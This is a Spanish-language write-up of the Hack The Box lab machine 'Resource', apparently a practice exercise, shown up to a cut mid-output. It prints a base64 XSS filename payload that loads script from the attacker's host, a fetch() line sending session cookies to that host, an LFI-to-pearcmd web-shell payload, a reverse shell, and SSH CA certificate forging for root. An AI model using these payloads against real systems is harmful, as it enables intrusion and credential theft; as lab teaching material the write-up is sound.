Table of Contents
Hack The Box: Resource Writeup
Welcome to my detailed writeup of the hard difficulty machine “Resource” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.197.255 --ulimit 5000 -g
210.129.197.255 -> [22,80,2222]
1$ nmap -p22,80,2222 -sCV 10.129.197.255 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-10 19:18 CEST
3Nmap scan report for 10.129.197.255
4Host is up (0.036s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
8| ssh-hostkey:
9| 256 78:1e:3b:85:12:64:a1:f6:df:52:41:ad:8f:52:97:c0 (ECDSA)
10|_ 256 e1:1a:b5:0e:87:a4:a1:81:69:94:9d:d4:d4:a3:8a:f9 (ED25519)
1180/tcp open http nginx 1.18.0 (Ubuntu)
12|_http-title: Did not follow redirect to http://itrc.ssg.htb/
13|_http-server-header: nginx/1.18.0 (Ubuntu)
142222/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
15| ssh-hostkey:
16| 256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)
17|_ 256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)
18Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
19
20Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
21Nmap done: 1 IP address (1 host up) scanned in 11.50 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -n -Pn --min-rate 5000 -sU 10.129.197.255 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-10 19:19 CEST
3Nmap scan report for 10.129.197.255
4Host is up (0.040s latency).
5Not shown: 1494 open|filtered udp ports (no-response)
6PORT STATE SERVICE
716545/udp closed unknown
817549/udp closed unknown
920309/udp closed unknown
1027027/udp closed unknown
1127666/udp closed unknown
1231625/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds
Del escaneo inicial encontramos el dominio itrc.ssg.htb
, lo añadimos al /etc/hosts
Una cosa interesante es que encontramos dos instancias de SSH con dos versiones de OpenSSH distintas, una indica ser Debian
y otra indica ser Ubuntu
por lo cual es un indicador de que existen contenedores por detrás.
Igualmente ninguna de estas instancias son vulnerables así que el punto de entrada debe de ser mediante el sitio web.
HTTP Enumeration
whatweb
no nos reporta nada relevante, únicamente que se está utilizando PHP y nginx por detrás.
1$ whatweb http://itrc.ssg.htb
2http://itrc.ssg.htb [200 OK] Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.197.255], PHP[8.1.29], Script, Title[IT Support Center], X-Powered-By[PHP/8.1.29], nginx[1.18.0]
Así se ve el sitio web.
Podemos crearnos una cuenta de usuario y parece que es un sistema de ticketing.
Multiple XSS (Failed)
Podemos crear un ticket y podemos comprobar que en los comentarios del ticket no se acontece un XSS.
Tampoco en el nombre del ticket ni en la descripción.
Tampoco en el nombre de usuario.
Podemos subir un archivo y el nombre del archivo son una secuencia de caracteres y números.
Al interceptar las solicitudes con burpsuite
encontramos un endpoint /api/
Fuzzing
Con feroxbuster
podemos fuzzear a ver si encontramos algún recurso bajo /api
1$ feroxbuster -u http://itrc.ssg.htb/api/ -w /opt/SecLists/Discovery/Web-Content/d
2irectory-list-2.3-medium.txt -d 1 -t 100 -x php
Y vemos un admin.php
, pero devuelve un error 500.
También vemos un login.php
y un register.php
y recordemos que la URL para iniciar sesión es http://itrc.ssg.htb/?page=login
por lo cual quizás internamente esté apuntando a este recurso.
Podemos acceder al “panel administrativo” utilizando el parámetro page
Podemos utilizar la función de “ping” y vemos que nos llega un ping de la máquina víctima.
1$ sudo tcpdump icmp -i tun0
2tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
3listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
419:46:18.895801 IP ssg.htb > 10.10.14.143: ICMP echo request, id 1, seq 1, length 64
519:46:18.895846 IP 10.10.14.143 > ssg.htb: ICMP echo reply, id 1, seq 1, length 64
No podemos acceder a tickets de otras personas.
Detectamos un usuario llamado zzinter
IDOR
Podemos crear un comentario en un post de otras personas, si interceptamos la petición al crear un comentario vemos que hace una solicitud POST a /api/create_comment.php
donde hay un campo id
, podemos modificarlo y la petición será satisfactoria.
Para comprobar esto, he creado un ticket como el usuario test
Ahora podemos cambiar el ID.
Y vemos que efectivamente, podemos inyectar comentarios en los tickets de los demás.
También podemos insertar archivos en los tickets de los demás.
Como el nombre del archivo sale en pantalla, podemos intentar realizar un XSS aquí.
Después de probar algunos payloads y a base de prueba y error, este funcionó.
Detecté que se filtra el carácter /
, por lo cual podemos hacer un payload para cargar un script que controlemos nosotros utilizando eval
y atob
.
El payload es el siguiente.
1filename=<svg onload=eval(atob('dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwpzY3JpcHQuc3JjID0gJ2h0dHA6Ly8xMC4xMC4xNC4xNDM6ODA4Mi9lLmpzJzsKZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzY3JpcHQpOwo=')) >.zip
Que en esencia es este snippet de código javascript que crea un elemento script, añade el src
para que sea nuestro servidor y lo añade al DOM.
1var script = document.createElement('script');
2script.src = 'http://10.10.14.143:8082/e.js';
3document.head.appendChild(script);
Si recargamos la página vemos que nos llega la solicitud.
1$ python3 -m http.server 8082
2Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...
310.10.14.143 - - [10/Sep/2024 20:28:39] code 404, message File not found
410.10.14.143 - - [10/Sep/2024 20:28:39] "GET /e.js HTTP/1.1" 404 -
Ahora creamos un archivo e.js
que nos envíe la cookie del usuario.
1fetch("http://10.10.14.143:8082/?cookies="+btoa(document.cookie))
Y si ahora recargamos la página.
1$ python3 -m http.server 8082
2Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...
310.10.14.143 - - [10/Sep/2024 20:29:31] "GET /e.js HTTP/1.1" 200 -
410.10.14.143 - - [10/Sep/2024 20:29:32] "GET /?cookies=UEhQU0VTU0lEPWQ3Yzk3Yzg3MmEwNDQ0NjhiNDA1ZjZiN2I0MGExMmMy HTTP/1.1" 200 -
Y ya tenemos la cookie de mi usuario.
1$ echo "UEhQU0VTU0lEPWQ3Yzk3Yzg3MmEwNDQ0NjhiNDA1ZjZiN2I0MGExMmMy" | base64 -d
2PHPSESSID=d7c97c872a044468b405f6b7b40a12c2
Ahora vamos a intentar quitar la cookie a algún otro usuario de los tickets encontrados en el panel de administración.
Cuando intentamos asignar el comentario a un ID que no existe vemos un error SQL.
Después de un rato esperando, no conseguí robar las cookies de sesión por lo que quiero pensar que no hay nadie revisando los tickets.
LFI + pearcmd.php
+ URL args -> Foothold
Después de un rato encontré este apartado en HackTricks
Podemos probar a hacer una petición con los parámetros para intentar crear un archivo con contenido PHP a través de un lolbin en PHP llamado pearcmd.php
. Como dato, esta configuración está habilitada por defecto en PHP de contenedores Docker, por lo cual si se tiene un LFI probablemente se pueda explotar esto.
Y efectivamente, se ha creado el archivo en /tmp/hello.php
, no hay que incluir el .php al final ya que por detrás a nivel de código se incluye.
Utilizando este payload /index.php?+config-create+/&page=/usr/local/lib/php/pearcmd&/<?=shell_exec($_GET["cmd"])?>+/tmp/s.php
conseguimos ejecución remota de comandos.
Nos ponemos en escucha con pwncat-cs
por el puerto 443 y nos enviamos la reverse shell con el típico one-liner.
1$ sudo pwncat-cs -lp 443
2[22:21:06] Welcome to pwncat 🐈!
3[22:21:37] received connection from 10.129.197.255:45402 bind.py:84
4[22:21:39] 10.129.197.255:45402: registered new host w/ db manager.py:957
5(local) pwncat$
6(remote) www-data@itrc:/var/www/itrc$ whoami
7www-data
Comprobamos que estamos en un contenedor.
1(remote) www-data@itrc:/var/www/itrc$ hostname -I
2172.223.0.3
Docker Breakout
Encontramos credenciales para la base de datos.
1(remote) www-data@itrc:/var/www/itrc$ cat db.php
2<?php
3
4$dsn = "mysql:host=db;dbname=resourcecenter;";
5$dbusername = "jj";
6$dbpassword = "ugEG5rR5SG8uPd";
7$pdo = new PDO($dsn, $dbusername, $dbpassword);
8
9try {
10 $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
11} catch (PDOException $e) {
12 die("Connection failed: " . $e->getMessage());
Podemos acceder a la base de datos.
1(remote) www-data@itrc:/var/www/itrc$ mysql -ujj -pugEG5rR5SG8uPd -h db
2Welcome to the MariaDB monitor. Commands end with ; or \g.
3Your MariaDB connection id is 510
4Server version: 11.4.3-MariaDB-ubu2404 mariadb.org binary distribution
5
6Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
7
8Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
9
10MariaDB [(none)]>
Examinando la base de datos, vemos que hay una llamada resourcecenter
, dentro existen 3 tablas.
1+--------------------------+
2| Tables_in_resourcecenter |
3+--------------------------+
4| messages |
5| tickets |
6| users |
7+--------------------------+
También podemos ver los usuarios.
1+----+---------------------------+--------------------------------------------------------------+-------+------------+
2| id | user | password | role | department |
3+----+---------------------------+--------------------------------------------------------------+-------+------------+
4| 1 | zzinter | $2y$10$VCpu.vx5K6tK3mZGeir7j.ly..il/YwPQcR2nUs4/jKyUQhGAriL2 | admin | NULL |
5| 2 | msainristil | $2y$10$AT2wCUIXC9jyuO.sNMil2.R950wZlVQ.xayHZiweHcIcs9mcblpb6 | admin | NULL |
6| 3 | mgraham | $2y$10$4nlQoZW60mVIQ1xauCe5YO0zZ0uaJisHGJMPNdQNjKOhcQ8LsjLZ2 | user | NULL |
7| 4 | kgrant | $2y$10$pLPQbIzcehXO5Yxh0bjhlOZtJ18OX4/O4mjYP56U6WnI6FvxvtwIm | user | NULL |
8| 5 | bmcgregor | $2y$10$nOBYuDGCgzWXIeF92v5qFOCvlEXdI19JjUZNl/zWHHX.RQGTS03Aq | user | NULL |
9| 9 | pointed | $2y$10$LjZWC7mewCk6t0CpT/r/auSQmSLdrtscI8fAezkabgZE4w0mElGrG | user | NULL |
10| 10 | <script>alert(1)</script> | $2y$10$1Un9daXoQqLxqKjvwO9My.mHHIkiaOXs.vH4SzZqKB6.UAKjFaQlC | user | NULL |
11| 11 | test | $2y$10$Regdwcv68bsQS73fqZFn/uvq1Utk47Usiq2.sgxIMvfaKGnnmspFW | user | NULL |
12| 12 | test2 | $2y$10$dLq2ESFeG/vl3bX9eEq0ludIFL45.D0PeACyRyYDIM.Eo1zlEiU/W | user | NULL |
13+----+---------------------------+--------------------------------------------------------------+-------+------------+
No pude crackear ningún hash pero ahora tenemos una bonita lista de usuarios.
1$ cat users.txt
2bmcgregor
3kgrant
4mgraham
5msainristil
6zzinter
Encontramos un archivo adjunto, vamos a analizarlo.
Detecté tres archivos comprimidos interesantes. Me descargo los 3 usando la función download
interna de pwncat-cs
para analizarlos en mi equipo.
1(local) pwncat$ download eb65074fe37671509f24d1652a44944be61e4360.zip
2eb65074fe37671509f24d1652a44944be61e4360.zip ━━━━━━━━━━━ 100.0% • 275/275 • ? • 0:00:00
3 bytes [22:31:38] downloaded 275.00B in 0.41 seconds download.py:71
4(local) pwncat$ download e8c6575573384aeeab4d093cc99c7e5927614185.zip
5e8c6575573384aeeab4d093cc99c7e5927614185.zip ━━━━━━━━━━━ 100.0% • 634/634 • ? • 0:00:00
6 bytes [22:31:46] downloaded 634.00B in 0.27 seconds download.py:71
7(local) pwncat$ download c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
8c2f4813259cc57fab36b311c5058cf031cb6eb51.zip ━━━━━━━ 100.0% • 1.2/1.2 • 55.5 • 0:00:00
9 MB MB/s
10[22:31:51] downloaded 1.16MiB in 0.49 seconds
Uno de los archivos contiene un archivo .har
1$ unzip c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
2Archive: c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
3 inflating: itrc.ssg.htb.har
Otro tiene una clave pública del usuario mgraham
1$ unzip e8c6575573384aeeab4d093cc99c7e5927614185.zip
2Archive: e8c6575573384aeeab4d093cc99c7e5927614185.zip
3 inflating: id_rsa.pub
Y el otro .zip contiene otra clave pública pero esta vez de bmcgregor
1$ unzip eb65074fe37671509f24d1652a44944be61e4360.zip
2Archive: eb65074fe37671509f24d1652a44944be61e4360.zip
3 inflating: id_ed25519.pub
Como no puedo hacer nada con las claves públicas, vamos a analizar el archivo .har
Es un formato de archivo que utilizan varias herramientas de sesión HTTP para exportar los datos capturados. Básicamente, se trata de un objeto JSON con un conjunto específico de campos.
El problema es que es un archivo de 4000 lineas.
1$ cat itrc.ssg.htb.har | wc -l
24426
Filtrando por pass
encontramos una credencial.
1$ cat itrc.ssg.htb.har | grep pass | less
Con esta credencial podemos acceder a través de SSH a la máquina víctima.
1$ sshpass -p '82yards2closeit' ssh msainristil@10.129.197.255
2Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64
3
4The programs included with the Debian GNU/Linux system are free software;
5the exact distribution terms for each program are described in the
6individual files in /usr/share/doc/*/copyright.
7
8Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
9permitted by applicable law.
10msainristil@itrc:~$ id
11uid=1000(msainristil) gid=1000(msainristil) groups=1000(msainristil)
User Pivoting
Estamos en otro contenedor.
1msainristil@itrc:/home$ hostname -I
2172.223.0.3
Vemos el usuario zzinter
1msainristil@itrc:/home$ ls -la
2total 20
3drwxr-xr-x 1 root root 4096 Aug 13 11:13 .
4drwxr-xr-x 1 root root 4096 Aug 13 11:13 ..
5drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 msainristil
6drwx------ 1 zzinter zzinter 4096 Sep 10 15:16 zzinter
Y esto es interesante, nos encontramos una clave privada pero de la CA.
1msainristil@itrc:~/decommission_old_ca$ ls -la
2total 20
3drwxr-xr-x 1 msainristil msainristil 4096 Jan 24 2024 .
4drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 ..
5-rw------- 1 msainristil msainristil 2602 Jan 24 2024 ca-itrc
6-rw-r--r-- 1 msainristil msainristil 572 Jan 24 2024 ca-itrc.pub
Tener la clave privada de la CA es muy peligroso ya que podemos si se permite el acceso por SSH que hemos visto antes que sí mediante algunos mensajes de la base de datos, firmar un certificado con la clave de la CA como cualquier usuario y poder iniciar sesión como este.
Entonces podemos generarnos un par de claves y firmarlos con la clave privada de la entidad certificadora, que es la que tenemos.
1$ ssh-keygen -t rsa -f pointed
2Generating public/private rsa key pair.
3Enter passphrase (empty for no passphrase):
4Enter same passphrase again:
5Your identification has been saved in pointed
6Your public key has been saved in pointed.pub
7The key fingerprint is:
8SHA256:blvDbjxySkHARnbWjYq0m/wTl7qABo/8ZCMu4B+JiO0 pointedsec@parrot
9The key's randomart image is:
10+---[RSA 3072]----+
11| o+ o. o |
12| .++ o . |
13| o o.. |
14| o.. |
15| . . oS . |
16|+o.+..+..oo |
17|=.=oB ..+=+ |
18|.+ *.. +=+=. |
19| .E.. +B.. |
20+----[SHA256]-----+
1$ ls
2pointed pointed.pub
Nos vamos a copiar la clave privada de la CA.
1$ scp msainristil@10.129.197.255:/home/msainristil/decommission_old_ca/ca-itrc .
2msainristil@10.129.197.255's password:
3ca-itrc 100% 2602 33.7KB/s 00:00
Le establecemos los permisos adecuados.
1$ chmod 600 ca-itrc
Ahora firmamos nuestra clave pública con la clave de la CA para el usuario zzinter
1 ssh-keygen -s ca-itrc -n zzinter -I zzinter-key pointed.pub
2Signed user key pointed-cert.pub: id "zzinter-key" serial 0 for zzinter valid forever
Ahora esto nos genera una clave firmada con la clave de la CA, en mi caso con nombre pointed-cert.pub
Podemos analizar la clave y vemos que en Principals
está el usuario que vamos a impersonar.
1$ ssh-keygen -Lf pointed-cert.pub
2pointed-cert.pub:
3 Type: ssh-rsa-cert-v01@openssh.com user certificate
4 Public key: RSA-CERT SHA256:blvDbjxySkHARnbWjYq0m/wTl7qABo/8ZCMu4B+JiO0
5 Signing CA: RSA SHA256:BFu3V/qG+Kyg33kg3b4R/hbArfZiJZRmddDeF2fUmgs (using rsa-sha2-512)
6 Key ID: "zzinter-key"
7 Serial: 0
8 Valid: forever
9 Principals:
10 zzinter
11 Critical Options: (none)
12 Extensions:
13 permit-X11-forwarding
14 permit-agent-forwarding
15 permit-port-forwarding
16 permit-pty
17 permit-user-rc
Y ahora podemos iniciar sesión como este usuario.
1$ ssh -o CertificateFile=pointed-cert.pub -i pointed zzinter@ssg.htb
2Enter passphrase for key 'pointed':
3Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64
4
5The programs included with the Debian GNU/Linux system are free software;
6the exact distribution terms for each program are described in the
7individual files in /usr/share/doc/*/copyright.
8
9Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
10permitted by applicable law.
11Last login: Tue Sep 10 19:15:03 2024 from 10.10.14.143
12zzinter@itrc:~$ id
13uid=1001(zzinter) gid=1001(zzinter) groups=1001(zzinter)
Pero bien, esto significa que la CA confía de cualquier clave pública firmada con su certificado, por lo cual podemos firmar mi clave pública para iniciar sesión como root
en este contenedor.
Simplemente eliminamos la clave firmada anterior pointed-cert.pub
Ahora la firmamos otra vez pero para el usuario root
1$ ssh-keygen -s ca-itrc -n root -I root-key pointed.pub
2Signed user key pointed-cert.pub: id "root-key" serial 0 for root valid forever
Y conseguimos escalar privilegios en este contenedor.
1$ ssh -o CertificateFile=pointed-cert.pub -i pointed root@ssg.htb
2Enter passphrase for key 'pointed':
3Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64
4
5The programs included with the Debian GNU/Linux system are free software;
6the exact distribution terms for each program are described in the
7individual files in /usr/share/doc/*/copyright.
8
9Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
10permitted by applicable law.
11Last login: Tue Sep 10 19:15:32 2024 from 10.10.14.143
12root@itrc:~# id
13uid=0(root) gid=0(root) groups=0(root)
En el directorio personal de zzinter
podemos visualizar la flag del usuario.
1root@itrc:/home/zzinter# cat user.txt
277b42234c05a219...
Docker Breakout 2
En este directorio encontramos un script llamado sign_key_api.sh
1#!/bin/bash
2
3usage () {
4 echo "Usage: $0 <public_key_file> <username> <principal>"
5 exit 1
6}
7
8if [ "$#" -ne 3 ]; then
9 usage
10fi
11
12public_key_file="$1"
13username="$2"
14principal_str="$3"
15
16supported_principals="webserver,analytics,support,security"
17IFS=',' read -ra principal <<< "$principal_str"
18for word in "${principal[@]}"; do
19 if ! echo "$supported_principals" | grep -qw "$word"; then
20 echo "Error: '$word' is not a supported principal."
21 echo "Choose from:"
22 echo " webserver - external web servers - webadmin user"
23 echo " analytics - analytics team databases - analytics user"
24 echo " support - IT support server - support user"
25 echo " security - SOC servers - support user"
26 echo
27 usage
28 fi
29done
30
31if [ ! -f "$public_key_file" ]; then
32 echo "Error: Public key file '$public_key_file' not found."
33 usage
34fi
35
36public_key=$(cat $public_key_file)
37
38curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
Aprovechando este script, podemos firmar otra clave pero esta vez en la máquina víctima real para conseguir acceso como los usuarios webadmin
, analytics
y support
Podemos firmar nuestra clave privada pero ahora con otra clave de CA distinta, el problema es que esto al realizarse a través de la API, no podemos generar un certificado para root
por ejemplo.
Generamos un certificado para el usuario support
1root@itrc:/home/zzinter# ./sign_key_api.sh pointed.pub zzinter support
2ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAg1nNPtPgZyUngd
3sLPDGFpEYwbjc/Khxwwr1tw/XWErQkAAAADAQABAAABgQChF6mmqr3WE3aHoYIt3mpXAAo7w2qHWyRhcf0zHRUIwup
4qy3gRmZg0TeO3xr5YDkr2WPuCjHMmqb3iMl9hteC+mYyEUrrs9tgMYUIqWB/Qn9TIM3JKo3XUUojcxMw8PgKiIIsTb
5b7r0ysZ//D+yN/nWprlLGlsaRHVrvka8CWv08bT14NjFoyAXT2DKG+8DmoSqt6qDjQI/QpXm1LDadTqDKcBaTOcdHi
6tyt17u+T01LDEUM8fsIjTJ81U3oECXnGwVhXPFVokxpZsRL/qkp9mx6uvG+W2h5CI309kxCUSZVcDnRBg9iOSPjb9P
7xU74O7UtighO1RHCyxYsB5OvKAw0ExOOW4W89yMKEWfPDKEFbkI9nJO1NNgAyDR5olERSkS8T+pKwJeylHgWAs09Kg
8juPHW+DJkJHATWqjHPDzQLfrBC1KoZ0CSZOSzqEJ433epdKaFsBgqrqNMXhaYBBaXlez75vDLcmQvfV+7mx6Ae8zHl
9hQLnwEltm9/IZMcgUcAAAAAAAAAKwAAAAEAAAAHenppbnRlcgAAAAsAAAAHc3VwcG9ydAAAAABm12Re//////////8
10AAAAAAAAAggAAABVwZXJtaXQtWDExLWZvcndhcmRpbmcAAAAAAAAAF3Blcm1pdC1hZ2VudC1mb3J3YXJkaW5nAAAAA
11AAAABZwZXJtaXQtcG9ydC1mb3J3YXJkaW5nAAAAAAAAAApwZXJtaXQtcHR5AAAAAAAAAA5wZXJtaXQtdXNlci1yYwA
12AAAAAAAAAAAAAMwAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAFMAA
13AALc3NoLWVkMjU1MTkAAABAH6BAtkWeLLTRybgKp9QdZv3ZeJAKQsKn+XtcIZmvhyYxeUE0w0NTyExY1IHrz+S6e92
14jDoSmWAnaqx1J1scrBA== pointedsec@parrot
Lo metemos en un archivo test
1$ cat test
2ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAgLrPuwGYaITA/DUuLKmz14vzZh9i/icjYGpqh9WgoFDkAAAADAQABAAABgQChF6mmqr3WE3aHoYIt3mpXAAo7w2qHWyRhcf0zHRUIwupqy3gRmZg0TeO3xr5YDkr2WPuCjHMmqb3iMl9hteC+mYyEUrrs9tgMYUIqWB/Qn9TIM3JKo3XUUojcxMw8PgKiIIsTbb7r0ysZ//D+yN/nWprlLGlsaRHVrvka8CWv08bT14NjFoyAXT2DKG+8DmoSqt6qDjQI/QpXm1LDadTqDKcBaTOcdHityt17u+T01LDEUM8fsIjTJ81U3oECXnGwVhXPFVokxpZsRL/qkp9mx6uvG+W2h5CI309kxCUSZVcDnRBg9iOSPjb9PxU74O7UtighO1RHCyxYsB5OvKAw0ExOOW4W89yMKEWfPDKEFbkI9nJO1NNgAyDR5olERSkS8T+pKwJeylHgWAs09KgjuPHW+DJkJHATWqjHPDzQLfrBC1KoZ0CSZOSzqEJ433epdKaFsBgqrqNMXhaYBBaXlez75vDLcmQvfV+7mx6Ae8zHlhQLnwEltm9/IZMcgUcAAAAAAAAAKAAAAAEAAAAHc3VwcG9ydAAAAAsAAAAHc3VwcG9ydAAAAABm12No//////////8AAAAAAAAAggAAABVwZXJtaXQtWDExLWZvcndhcmRpbmcAAAAAAAAAF3Blcm1pdC1hZ2VudC1mb3J3YXJkaW5nAAAAAAAAABZwZXJtaXQtcG9ydC1mb3J3YXJkaW5nAAAAAAAAAApwZXJtaXQtcHR5AAAAAAAAAA5wZXJtaXQtdXNlci1yYwAAAAAAAAAAAAAAMwAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAFMAAAALc3NoLWVkMjU1MTkAAABAgnHOGp89bHoBJs85JAdd+vyvHZNnKo517vnkD0YcSzLUXsHaHo/bDj4fLW0XBYY2VAXqWsSCVJsxeLWbq836DQ== pointedsec@parrot
Y ganamos acceso a la máquina víctima como support
1$ ssh -o CertificateFile=test -i pointed support@ssg.htb -p 2222
2Enter passphrase for key 'pointed':
3Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)
4
5 * Documentation: https://help.ubuntu.com
6 * Management: https://landscape.canonical.com
7 * Support: https://ubuntu.com/pro
8
9 System information as of Tue Sep 10 07:34:41 PM UTC 2024
10
11 System load: 0.0
12 Usage of /: 79.0% of 10.73GB
13 Memory usage: 14%
14 Swap usage: 0%
15 Processes: 246
16 Users logged in: 0
17 IPv4 address for eth0: 10.129.197.255
18 IPv6 address for eth0: dead:beef::250:56ff:fe94:c869
19
20
21Expanded Security Maintenance for Applications is not enabled.
22
230 updates can be applied immediately.
24
25Enable ESM Apps to receive additional future security updates.
26See https://ubuntu.com/esm or run: sudo pro status
27
28
29The list of available updates is more than a week old.
30To check for new updates run: sudo apt update
31Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
32
33
34Last login: Tue Sep 10 19:33:15 2024 from 10.10.14.143
35support@ssg:~$ id
36uid=1000(support) gid=1000(support) groups=1000(support)
Ahora si que estamos en la máquina víctima.
1support@ssg:~$ hostname -I
210.129.197.255 172.17.0.1 172.21.0.1 172.223.0.1 dead:beef::250:56ff:fe94:c869
Un poco excesivo para una máquina de dificultad media.
User Pivoting
Pasando el linpeas
encontramos lo siguiente.
1╔══════════╣ Unexpected in /opt (usually empty)
2total 16
3drwxr-xr-x 3 root root 4096 Aug 13 13:19 .
4drwxr-xr-x 19 root root 4096 Jul 24 11:54 ..
5-rwxr----- 1 root zzinter 1378 Aug 13 13:19 sign_key.sh
6drwx------ 4 root root 4096 Feb 8 2024 signserv
7
Parece que ahí se encuentra la API para los certificados del puerto 8000 interno pero no podemos revisar el código fuente.
Otra cosa que podemos intentar es comprobar si realmente la API nos prohíbe firmar las claves hacia otros principals y ver si no es una limitación del script.
En la máquina víctima, ahora que hemos ganado acceso podemos comprobar los principals y vemos dos.
1support@ssg:/etc/ssh/auth_principals$ cat root
2root_user
3support@ssg:/etc/ssh/auth_principals$ cat zzinter
4zzinter_temp
Ahora podemos copiarnos el script que hemos encontrado anteriormente, el sign_key_api.sh
a nuestra máquina.
Agregamos el subdominio signserv.ssg.htb
al /etc/hosts
Y la última línea del script vamos a modificarla a esto.
1curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "zzinter_temp"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
Es decir, vamos a cambiar el campo principals
y vamos a establecer el de zzinter
que habíamos visto anteriormente.
Ahora intentamos firmar nuestra clave pública.
1$ ./sign.sh pointed.pub zzinter support
2ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAgQ8Sit3OTFBWgzxB1Tb15sEcJd5phxFb7utL/mqY3xbYAAAADAQABAAABgQChF6mmqr3WE3aHoYIt3mpXAAo7w2qHWyRhcf0zHRUIwupqy3gRmZg0TeO3xr5YDkr2WPuCjHMmqb3iMl9hteC+mYyEUrrs9tgMYUIqWB/Qn9TIM3JKo3XUUojcxMw8PgKiIIsTbb7r0ysZ//D+yN/nWprlLGlsaRHVrvka8CWv08bT14NjFoyAXT2DKG+8DmoSqt6qDjQI/QpXm1LDadTqDKcBaTOcdHityt17u+T01LDEUM8fsIjTJ81U3oECXnGwVhXPFVokxpZsRL/qkp9mx6uvG+W2h5CI309kxCUSZVcDnRBg9iOSPjb9PxU74O7UtighO1RHCyxYsB5OvKAw0ExOOW4W89yMKEWfPDKEFbkI9nJO1NNgAyDR5olERSkS8T+pKwJeylHgWAs09KgjuPHW+DJkJHATWqjHPDzQLfrBC1KoZ0CSZOSzqEJ433epdKaFsBgqrqNMXhaYBBaXlez75vDLcmQvfV+7mx6Ae8zHlhQLnwEltm9/IZMcgUcAAAAAAAAALQAAAAEAAAAHenppbnRlcgAAABAAAAAMenppbnRlcl90ZW1wAAAAAGbXa6v//////////wAAAAAAAACCAAAAFXBlcm1pdC1YMTEtZm9yd2FyZGluZwAAAAAAAAAXcGVybWl0LWFnZW50LWZvcndhcmRpbmcAAAAAAAAAFnBlcm1pdC1wb3J0LWZvcndhcmRpbmcAAAAAAAAACnBlcm1pdC1wdHkAAAAAAAAADnBlcm1pdC11c2VyLXJjAAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIIHg8Cudy1ShyYfqzC3ANlgAcW7Q4MoZuezAE8mNFSmxAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEALVuSlkKcxCvNUolV8RTMGb3RotMsvZM/wOzluf8pFR8VO99jaG+2d9Emq79iVRWrFS/6mUiBGPUrBKL62RqgE pointedsec@parrot
Da igual que como parámetro a nivel de comando hayamos especificado support
ya que el comando por detrás se realiza con el principal hardcodeado.
Ahora si comprobamos esta clave vemos que efectivamente, tiene el principal de zzinter_temp
1$ ssh-keygen -Lf test2
2test2:
3 Type: ssh-rsa-cert-v01@openssh.com user certificate
4 Public key: RSA-CERT SHA256:blvDbjxySkHARnbWjYq0m/wTl7qABo/8ZCMu4B+JiO0
5 Signing CA: ED25519 SHA256:1p3yJYtPaG3wNIzooDpnzx5dFkAgHdnFVNDt7HbRpKc (using ssh-ed25519)
6 Key ID: "zzinter"
7 Serial: 44
8 Valid: after 2024-09-03T22:00:55
9 Principals:
